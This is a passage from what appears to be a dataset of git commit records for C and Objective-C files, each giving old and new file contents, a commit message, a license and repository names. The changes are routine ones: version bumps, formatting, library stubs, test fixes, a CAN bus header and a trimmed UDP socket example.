InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\nclass Interpreter;\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","subject":"Fix fwd decl for windows.","message":"Fix fwd decl for windows.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@47814 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"karies\/cling,marsupial\/cling,karies\/cling,perovic\/cling,marsupial\/cling,marsupial\/cling,perovic\/cling,root-mirror\/cling,marsupial\/cling,perovic\/cling,root-mirror\/cling,marsupial\/cling,perovic\/cling,karies\/cling,karies\/cling,root-mirror\/cling,karies\/cling,root-mirror\/cling,perovic\/cling,marsupial\/cling,root-mirror\/cling,karies\/cling,root-mirror\/cling"}
{"commit":"50c59dac186f1e0de702c5b2f761c1ede995f084","old_file":"indra\/llcommon\/llversionviewer.h","new_file":"indra\/llcommon\/llversionviewer.h","old_contents":"\/** \n * @file llversionviewer.h\n * @brief\n *\n * $LicenseInfo:firstyear=2002&license=viewerlgpl$\n * Second Life Viewer Source Code\n * Copyright (C) 2010, Linden Research, Inc.\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation;\n * version 2.1 of the License only.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n * \n * Linden Research, Inc., 945 Battery Street, San Francisco, CA  94111  USA\n * $\/LicenseInfo$\n *\/\n\n#ifndef LL_LLVERSIONVIEWER_H\n#define LL_LLVERSIONVIEWER_H\n\nconst S32 LL_VERSION_MAJOR = 2;\nconst S32 LL_VERSION_MINOR = 1;\nconst S32 LL_VERSION_PATCH = 2;\nconst S32 LL_VERSION_BUILD = 0;\n\nconst char * const LL_CHANNEL = \"Second Life Developer\";\n\n#endif\n","new_contents":"\/** \n * @file llversionviewer.h\n * @brief\n *\n * $LicenseInfo:firstyear=2002&license=viewerlgpl$\n * Second Life Viewer Source Code\n * Copyright (C) 2010, Linden Research, Inc.\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation;\n * version 2.1 of the License only.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n * \n * Linden Research, Inc., 945 Battery Street, San Francisco, CA  94111  USA\n * $\/LicenseInfo$\n *\/\n\n#ifndef LL_LLVERSIONVIEWER_H\n#define LL_LLVERSIONVIEWER_H\n\nconst S32 LL_VERSION_MAJOR = 2;\nconst S32 LL_VERSION_MINOR = 2;\nconst S32 LL_VERSION_PATCH = 1;\nconst S32 LL_VERSION_BUILD = 0;\n\nconst char * const LL_CHANNEL = \"Second Life Developer\";\n\n#endif\n","subject":"Increment version number since we forked for beta.","message":"Increment version number since we forked for beta.\n","lang":"C","license":"lgpl-2.1","repos":"gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm,gabeharms\/firestorm"}
{"commit":"3983d4d1d363412b863aabd1219676c589d9ed41","old_file":"src\/binary.c","new_file":"src\/binary.c","old_contents":"#include <binary.h>\n\n#include <assert.h>\n\n#include <crc32.h>\n\n\/* API ************************************************************************\/\n\nBinary *binary_new(Scope *scope, size_t size) {\n  Binary *binary = scope_alloc(scope, sizeof(Binary) + size);\n  binary->size   = size;\n  binary->header = ref_header(TYPEID_BINARY, 0);\n  memset(binary->data, 0, binary->size);\n  return binary;\n}\n\nBinary *binary(Scope *scope, const uint8_t *data, size_t size) {\n  Binary *binary = scope_alloc(scope, sizeof(Binary) + size);\n  binary->size   = size;\n  binary->header = ref_header(TYPEID_BINARY, 0);\n  memcpy(binary->data, data, size);\n  return binary;\n}\n\nuint32_t binary_hash32(uint32_t hash, Binary *binary) {\n  assert(binary != NULL);\n  return crc32(hash, binary->data, binary->size);\n}\n","new_contents":"#include <binary.h>\n\n#include <assert.h>\n\n#include <crc32.h>\n\n\/* API ************************************************************************\/\n\nBinary *binary_new(Scope *scope, size_t size) {\n  Binary *binary = scope_alloc(scope, sizeof(Binary) + size + 1);\n  binary->size   = size;\n  binary->header = ref_header(TYPEID_BINARY, 0);\n  memset(binary->data, 0, binary->size + 1);\n  return binary;\n}\n\nBinary *binary(Scope *scope, const uint8_t *data, size_t size) {\n  Binary *binary = scope_alloc(scope, sizeof(Binary) + size + 1);\n  binary->size   = size;\n  binary->header = ref_header(TYPEID_BINARY, 0);\n  memcpy(binary->data, data, size + 1);\n  return binary;\n}\n\nuint32_t binary_hash32(uint32_t hash, Binary *binary) {\n  assert(binary != NULL);\n  return crc32(hash, binary->data, binary->size);\n}\n","subject":"Add ending null-byte to binaries","message":"Add ending null-byte to binaries\n","lang":"C","license":"apache-2.0","repos":"samuelotter\/slang,samuelotter\/slang"}
{"commit":"c22cda86143d517da8147fca81f45f595023a8ad","old_file":"src\/Classes\/IMapEventListener.h","new_file":"src\/Classes\/IMapEventListener.h","old_contents":"#ifndef MAP_EVENT_LISTENER_H\n#define MAP_EVENT_LISTENER_H\n\n#include \"cocos2d.h\"\n\nnamespace tsg {\nnamespace map {\nclass IMapEventListener {\npublic:\n  virtual void onMapLoad(cocos2d::TMXTiledMap *) = 0;\n  virtual void onViewCoordinatesChanged(cocos2d::Vec2) =0;\n  virtual void onNightTime() =0;\n  virtual void onDayTime() =0;\n  virtual void onGameHourPassed() =0;\n\n  virtual ~IMapEventListener(){};\n};\n}\n}\n\n#endif\n","new_contents":"#ifndef MAP_EVENT_LISTENER_H\n#define MAP_EVENT_LISTENER_H\n\n#include \"cocos2d.h\"\n\nnamespace tsg {\nnamespace map {\nclass IMapEventListener {\n public:\n  virtual void onMapLoad(cocos2d::TMXTiledMap *) = 0;\n  virtual void onViewCoordinatesChanged(cocos2d::Vec2) = 0;\n  virtual void onNightTime() = 0;\n  virtual void onDayTime() = 0;\n  virtual void onGameHourPassed() = 0;\n\n  virtual ~IMapEventListener(){};\n};\n}\n}\n\n#endif\n","subject":"Format previos commit with clang-formatter","message":"Format previos commit with clang-formatter\n","lang":"C","license":"apache-2.0","repos":"TopSecretGames\/game,apocarteres\/game"}
{"commit":"3c5ab51a235a400427b364a608e679d91390f96a","old_file":"Quick\/Quick.h","new_file":"Quick\/Quick.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Quick.\nFOUNDATION_EXPORT double QuickVersionNumber;\n\n\/\/! Project version string for Quick.\nFOUNDATION_EXPORT const unsigned char QuickVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Quick\/PublicHeader.h>\n\n#import <Quick\/QuickSpec.h>\n#import <Quick\/QCKDSL.h>\n#import <Quick\/QuickConfiguration.h>\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Quick.\nFOUNDATION_EXPORT double QuickVersionNumber;\n\n\/\/! Project version string for Quick.\nFOUNDATION_EXPORT const unsigned char QuickVersionString[];\n\n#import <Quick\/QuickSpec.h>","subject":"Remove public headers from umbrella header","message":"Remove public headers from umbrella header\n\nThis seems to be the root cause for new projects created in Xcode 7.1\nto report \"Include of non-modular header inside framework Module\n'Quick'\".\n\nInfer: It seems like the swift compiler in Xcode 7.1 now prevents\nnon-modular includes in umbrella header files. The public headers are\nassumed to be imported in modules.\n","lang":"C","license":"apache-2.0","repos":"marciok\/Quick,Quick\/Quick,phatblat\/Quick,paulyoung\/Quick,DanielAsher\/Quick,Quick\/Quick,DanielAsher\/Quick,phatblat\/Quick,jeffh\/Quick,ikesyo\/Quick,jasonchaffee\/Quick,mokagio\/Quick,jeffh\/Quick,dgdosen\/Quick,Quick\/Quick,jasonchaffee\/Quick,ikesyo\/Quick,phatblat\/Quick,dgdosen\/Quick,Quick\/Quick,paulyoung\/Quick,marciok\/Quick,ashfurrow\/Quick,phatblat\/Quick,mokagio\/Quick,ikesyo\/Quick,paulyoung\/Quick,jasonchaffee\/Quick,marciok\/Quick,mokagio\/Quick,dgdosen\/Quick,jeffh\/Quick,ashfurrow\/Quick"}
{"commit":"2376316b36f4d6bdbdb82bea519b6296763bb2f2","old_file":"MORK\/ORKTaskResult+MORK.h","new_file":"MORK\/ORKTaskResult+MORK.h","old_contents":"\/\/\n\/\/  ORKCollectionResult+MORK.h\n\/\/  MORK\n\/\/\n\/\/  Created by Nolan Carroll on 4\/23\/15.\n\/\/  Copyright (c) 2015 Medidata Solutions. All rights reserved.\n\/\/\n\n#import \"ORKResult.h\"\n\n@interface ORKTaskResult (MORK)\n@property (readonly) NSArray *mork_fieldDataFromResults;\n@end\n","new_contents":"\/\/\n\/\/  ORKCollectionResult+MORK.h\n\/\/  MORK\n\/\/\n\/\/  Created by Nolan Carroll on 4\/23\/15.\n\/\/  Copyright (c) 2015 Medidata Solutions. All rights reserved.\n\/\/\n\n#import \"ORKResult.h\"\n\n@interface ORKTaskResult (MORK)\n\n- (NSArray *)mork_getFieldDataFromResults;\n\n@end\n","subject":"Put method declaration back into category header","message":"Put method declaration back into category header\n","lang":"C","license":"mit","repos":"mdsol\/MORK,mdsol\/MORK"}
{"commit":"4dd9b0481fedd5fb2386865525e4e186cd88b10a","old_file":"cores\/esp8266\/core_esp8266_noniso.c","new_file":"cores\/esp8266\/core_esp8266_noniso.c","old_contents":"#include <stdlib.h>\n#include \"stdlib_noniso.h\"\n\nlong atol_internal(const char* s)\n{\n  return 0;\n}\n\nfloat atof_internal(const char* s)\n{\n  return 0;\n}\n\nchar * itoa (int val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n\nchar * ltoa (long val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n \nchar * utoa (unsigned int val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n \nchar * ultoa (unsigned long val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n\nchar * dtostre (double __val, char *__s, unsigned char __prec, unsigned char __flags)\n{\n  *__s = 0;\n  return __s;\n}\n \nchar * dtostrf (double __val, signed char __width, unsigned char __prec, char *__s)\n{\n   *__s = 0;\n   return __s;\n}\n","new_contents":"#include <stdlib.h>\n#include \"stdlib_noniso.h\"\n\n\nextern int ets_sprintf(char*, const char*, ...);\n\n#define sprintf ets_sprintf\n\nlong atol_internal(const char* s)\n{\n  long result = 0;\n  return result;\n}\n\nfloat atof_internal(const char* s)\n{\n  float result = 0;\n  return result;\n}\n\nchar * itoa (int val, char *s, int radix)\n{\n  \/\/ todo: radix\n  sprintf(s, \"%d\", val);\n  return s;\n}\n\nchar * ltoa (long val, char *s, int radix)\n{\n  sprintf(s, \"%ld\", val);\n  return s;\n}\n \nchar * utoa (unsigned int val, char *s, int radix)\n{\n  sprintf(s, \"%u\", val);\n  return s;\n}\n \nchar * ultoa (unsigned long val, char *s, int radix)\n{\n  sprintf(s, \"%lu\", val);\n  return s;\n}\n\nchar * dtostre (double __val, char *__s, unsigned char __prec, unsigned char __flags)\n{\n  *__s = 0;\n  return __s;\n}\n \nchar * dtostrf (double __val, signed char __width, unsigned char __prec, char *__s)\n{\n   *__s = 0;\n   return __s;\n}\n","subject":"Add stubs for itoa, ltoa","message":"Add stubs for itoa, ltoa\n","lang":"C","license":"lgpl-2.1","repos":"gguuss\/Arduino,NullMedia\/Arduino,gguuss\/Arduino,edog1973\/Arduino,jes\/Arduino,NullMedia\/Arduino,Links2004\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,quertenmont\/Arduino,esp8266\/Arduino,KaloNK\/Arduino,quertenmont\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,NullMedia\/Arduino,NextDevBoard\/Arduino,Adam5Wu\/Arduino,martinayotte\/ESP8266-Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,me-no-dev\/Arduino,chrisfraser\/Arduino,chrisfraser\/Arduino,lrmoreno007\/Arduino,CanTireInnovations\/Arduino,sticilface\/Arduino,Juppit\/Arduino,NextDevBoard\/Arduino,KaloNK\/Arduino,Cloudino\/Arduino,Adam5Wu\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,CanTireInnovations\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,sticilface\/Arduino,chrisfraser\/Arduino,KaloNK\/Arduino,Lan-Hekary\/Arduino,CanTireInnovations\/Arduino,jes\/Arduino,Adam5Wu\/Arduino,hallard\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,hallard\/Arduino,CanTireInnovations\/Arduino,martinayotte\/ESP8266-Arduino,Cloudino\/Arduino,hallard\/Arduino,lrmoreno007\/Arduino,hallard\/Arduino,Links2004\/Arduino,jes\/Arduino,sticilface\/Arduino,Juppit\/Arduino,jes\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wemos\/Arduino,NextDevBoard\/Arduino,gguuss\/Arduino,NextDevBoard\/Arduino,Cloudino\/Arduino,quertenmont\/Arduino,sticilface\/Arduino,jes\/Arduino,NullMedia\/Arduino,sticilface\/Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,quertenmont\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gguuss\/Arduino,edog1973\/Arduino,Lan-Hekary\/Arduino,CanTireInnovations\/Arduino,NullMedia\/Arduino,Juppit\/Arduino,Cloudino\/Arduino,Links2004\/Arduino,martinayotte\/ESP8266-Arduino,Lan-Hekary\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,toastedcode\/esp8266-Arduino,KaloNK\/Arduino,Cloudino\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,hallard\/Arduino,esp8266\/Arduino,Juppit\/Arduino,wemos\/Arduino,toastedcode\/esp8266-Arduino,CanTireInnovations\/Arduino,CanTireInnovations\/Arduino,wemos\/Arduino,Adam5Wu\/Arduino,chrisfraser\/Arduino,edog1973\/Arduino,chrisfraser\/Arduino,edog1973\/Arduino,me-no-dev\/Arduino,esp8266\/Arduino,wemos\/Arduino,Cloudino\/Arduino,Links2004\/Arduino,esp8266\/Arduino,NextDevBoard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,edog1973\/Arduino,Cloudino\/Arduino"}
{"commit":"afb88aaf4f3b358e4ba93894c7e462a949ffd80e","old_file":"elang\/compiler\/ast\/with_modifiers.h","new_file":"elang\/compiler\/ast\/with_modifiers.h","old_contents":"\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n#define ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n\n#include \"elang\/compiler\/modifiers.h\"\n\nnamespace elang {\nnamespace compiler {\nnamespace ast {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ WithModifiers\n\/\/\nclass WithModifiers {\n public:\n  Modifiers modifiers() const { return modifiers_; }\n\n protected:\n  explicit WithModifiers(Modifiers modifiers);\n  ~WithModifiers();\n\n private:\n  Modifiers modifiers_;\n\n  DISALLOW_COPY_AND_ASSIGN(WithModifiers);\n};\n\n}  \/\/ namespace ast\n}  \/\/ namespace compiler\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n","new_contents":"\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n#define ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n\n#include \"elang\/compiler\/modifiers.h\"\n\nnamespace elang {\nnamespace compiler {\nnamespace ast {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ WithModifiers\n\/\/\nclass WithModifiers {\n public:\n  Modifiers modifiers() const { return modifiers_; }\n\n#define V(name, string, details) \\\n  bool Has##name() const { return modifiers_.Has##name(); }\n  FOR_EACH_MODIFIER(V)\n#undef V\n\n protected:\n  explicit WithModifiers(Modifiers modifiers);\n  ~WithModifiers();\n\n private:\n  Modifiers modifiers_;\n\n  DISALLOW_COPY_AND_ASSIGN(WithModifiers);\n};\n\n}  \/\/ namespace ast\n}  \/\/ namespace compiler\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_COMPILER_AST_WITH_MODIFIERS_H_\n","subject":"Introduce |HasPartial()|, |HasPublic()|, and so on in |WithModifiers| class for ease of accessing modifiers.","message":"elang\/compiler: Introduce |HasPartial()|, |HasPublic()|, and so on in |WithModifiers| class for ease of accessing modifiers.\n","lang":"C","license":"apache-2.0","repos":"eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang"}
{"commit":"9f0a75104da58dd1c8a88e825ff3a7815d8ca7f8","old_file":"src\/dump.h","new_file":"src\/dump.h","old_contents":"\/**\n * File:   dump.h\n * Author: Scott Bennett\n *\/\n\n#ifndef DUMP_H\n#define\tDUMP_H\nvoid dumpMemory();\nvoid dumpProgramRegisters();\nvoid dumpProcessorRegisters();\n#endif\t\/* DUMP_H *\/\n\n","new_contents":"\/*\n * File:   dump.h\n * Author: Scott Bennett\n *\/\n\n#ifndef DUMP_H\n#define\tDUMP_H\n\nvoid dumpMemory();\nvoid dumpProgramRegisters();\nvoid dumpProcessorRegisters();\n\n#endif\t\/* DUMP_H *\/\n","subject":"Change header to C style.","message":"Change header to C style.","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"c27178386eaed213ca1eb798cc479408ad03a298","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys\/socket.h>\n\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <netinet\/in.h>\n#include <sys\/uio.h>\n\n#define SERVER \"127.0.0.1\"\n#define BUFLEN 512 \/\/ max length of buffer\n#define PORT 3000 \/\/ destination port\n\nvoid die(const char *s) {\n  perror(s);\n  exit(1);\n}\n\nint main() {\n  struct sockaddr_in si_other;\n  int s, slen = sizeof(si_other);\n\n  char buf[BUFLEN];\n\n  if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {\n    die(\"socket\");\n  }\n\n  memset((char*)&si_other, 0, sizeof(si_other));\n  si_other.sin_family = AF_INET;\n  si_other.sin_port = htons(PORT);\n\n  if (inet_aton(SERVER, &si_other.sin_addr) == 0) {\n    fprintf(stderr, \"inet_aton() failed\\n\");\n    exit(1);\n  }\n\n  while (1) {\n    printf(\"Enter message:\\n\");\n    const char* msg = \"hello\";\n\n    if (sendto(s, msg, strlen(msg), 0, (struct sockaddr*) &si_other, slen) == -1) {\n      die(\"sendto()\");\n    }\n\n    memset(buf, '\\0', BUFLEN);\n    break;\n  }\n\n  close(s);\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n\n__attribute__((noreturn))\nvoid failed(const char* s) {\n  perror(s);\n  exit(1);\n}\n\nint main() {\n  int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n  if (s == -1) {\n    failed(\"socket()\");\n  }\n}\n","subject":"Remove broken prototype, starting out clean","message":"Remove broken prototype, starting out clean\n","lang":"C","license":"mit","repos":"darthdeus\/dit,darthdeus\/dit,darthdeus\/dit"}
{"commit":"29f659dfcfde7adb191065b3c2929ac9f86c4147","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <config.h>\n\n#include \"utest.h\"\n\nint __attribute__((weak)) main (void)\n{\n    return ut_run_all_tests() == 0;\n}\n","new_contents":"#include <config.h>\n\n#include \"utest.h\"\n\n#include <unistd.h>\n#include <getopt.h>\n#include <stdio.h>\n\nstatic struct option options[] = {\n    { \"help\", no_argument, NULL, 'h' },\n    { \"version\", no_argument, NULL, 'V' },\n    { NULL, 0, 0, 0 }\n};\n\nint __attribute__((weak)) main (int argc, char **argv)\n{\n    int c;\n\n    while (1) {\n        int option_index;\n\n        c = getopt_long(argc, argv, \"hV\", options, &option_index);\n        if (c == -1) {\n            break;\n        }\n\n        switch (c) {\n        case 'h':\n            printf(\"Help!\\n\");\n            break;\n        case 'V':\n            printf(\"Version!\\n\");\n            break;\n        }\n    }\n\n    return ut_run_all_tests() == 0;\n}\n","subject":"Add basic cmd options handling","message":"Add basic cmd options handling\n","lang":"C","license":"bsd-3-clause","repos":"lubomir\/libutest,lubomir\/libutest,lubomir\/libutest"}
{"commit":"d041cc813bcfcd04f077acdcea855f08b7d55577","old_file":"test\/Driver\/solaris-ld.c","new_file":"test\/Driver\/solaris-ld.c","old_contents":"\/\/ Test ld invocation on Solaris targets.\n\n\/\/ Check sparc-sun-solaris2.1\n\/\/ RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \\\n\/\/ RUN:     --target=sparc-sun-solaris2.11 \\\n\/\/ RUN:     --gcc-toolchain=\"\" \\\n\/\/ RUN:     --sysroot=%S\/Inputs\/sparc-sun-solaris2.11 \\\n\/\/ RUN:   | FileCheck %s\n\/\/ CHECK: \"-cc1\" \"-triple\" \"sparc-sun-solaris2.11\"\n\/\/ CHECK: ld{{.*}}\"\n\/\/ CHECK: \"--dynamic-linker\" \"{{.*}}\/usr\/lib\/ld.so.1\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2\/crt1.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/lib\/crti.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2\/crtbegin.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2\/crtend.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/lib\/crtn.o\"\n","new_contents":"\/\/ Test ld invocation on Solaris targets.\n\n\/\/ Check sparc-sun-solaris2.1\n\/\/ RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \\\n\/\/ RUN:     --target=sparc-sun-solaris2.11 \\\n\/\/ RUN:     --gcc-toolchain=\"\" \\\n\/\/ RUN:     --sysroot=%S\/Inputs\/sparc-sun-solaris2.11 \\\n\/\/ RUN:   | FileCheck %s\n\/\/ CHECK: \"-cc1\" \"-triple\" \"sparc-sun-solaris2.11\"\n\/\/ CHECK: ld{{.*}}\"\n\/\/ CHECK: \"--dynamic-linker\" \"{{.*}}\/usr\/lib\/ld.so.1\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2{{\/|\\\\\\\\}}crt1.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/lib\/crti.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2{{\/|\\\\\\\\}}crtbegin.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/gcc\/4.8\/lib\/gcc\/sparc-sun-solaris2.11\/4.8.2{{\/|\\\\\\\\}}crtend.o\"\n\/\/ CHECK: \"{{.*}}\/usr\/lib\/crtn.o\"\n","subject":"Fix path seperator for Windows.","message":"Fix path seperator for Windows.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@246520 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"773337f15658e9d9c0104f6fd5fdf23debb4c334","old_file":"include\/can_compat.h","new_file":"include\/can_compat.h","old_contents":"","new_contents":"#include <stdint.h>\n\ntypedef uint8_t __u8;\ntypedef uint32_t __u32;\n\n\/* special address description flags for the CAN_ID *\/\n#define CAN_EFF_FLAG 0x80000000U \/* EFF\/SFF is set in the MSB *\/\n#define CAN_RTR_FLAG 0x40000000U \/* remote transmission request *\/\n#define CAN_ERR_FLAG 0x20000000U \/* error message frame *\/\n\n\/* valid bits in CAN ID for frame formats *\/\n#define CAN_SFF_MASK 0x000007FFU \/* standard frame format (SFF) *\/\n#define CAN_EFF_MASK 0x1FFFFFFFU \/* extended frame format (EFF) *\/\n#define CAN_ERR_MASK 0x1FFFFFFFU \/* omit EFF, RTR, ERR flags *\/\n\ntypedef __u32 canid_t;\n\n#define CAN_SFF_ID_BITS11\n#define CAN_EFF_ID_BITS29\n\ntypedef __u32 can_err_mask_t;\n\n#define CAN_MAX_DLC 8\n#define CAN_MAX_DLEN 8\n\nstruct can_frame {\n    canid_t can_id;  \/* 32 bit CAN_ID + EFF\/RTR\/ERR flags *\/\n    __u8    can_dlc; \/* frame payload length in byte (0 .. CAN_MAX_DLEN) *\/\n    __u8    __pad;   \/* padding *\/\n    __u8    __res0;  \/* reserved \/ padding *\/\n    __u8    __res1;  \/* reserved \/ padding *\/\n    __u8    data[CAN_MAX_DLEN] __attribute__((aligned(8)));\n};\n\nstruct can_filter {\n    canid_t can_id;\n    canid_t can_mask;\n};\n","subject":"Use socketcan data structures and defines","message":"Use socketcan data structures and defines\n","lang":"C","license":"apache-2.0","repos":"b\/libusbcan,b\/libusbcan"}
{"commit":"7bdf334b2c0524d4654bf1c63a2bfcba636b6cab","old_file":"test\/lex.c","new_file":"test\/lex.c","old_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\n#define stringify(x) #x\n\nvoid digraph(void) {\n    expect_string(\"[\", stringify(<:));\n    expect_string(\"]\", stringify(:>));\n    expect_string(\"{\", stringify(<%));\n    expect_string(\"}\", stringify(%>));\n    expect_string(\"#\", stringify(%:));\n    expect_string(\"% :\", stringify(% :));\n    expect_string(\"##\", stringify(%:%:));\n    expect_string(\"#%\", stringify(%:%));\n}\n\nvoid testmain(void) {\n    print(\"lexer\");\n    digraph();\n}\n","new_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\n#define stringify(x) #x\n\nvoid digraph(void) {\n    expect_string(\"[\", stringify(<:));\n    expect_string(\"]\", stringify(:>));\n    expect_string(\"{\", stringify(<%));\n    expect_string(\"}\", stringify(%>));\n    expect_string(\"#\", stringify(%:));\n    expect_string(\"% :\", stringify(% :));\n    expect_string(\"##\", stringify(%:%:));\n    expect_string(\"#%\", stringify(%:%));\n}\n\nvoid escape(void) {\n    int value = 10;\n    expect(10, val\\\nue);\n}\n\nvoid testmain(void) {\n    print(\"lexer\");\n    digraph();\n    escape();\n}\n","subject":"Add a test for line continuation.","message":"Add a test for line 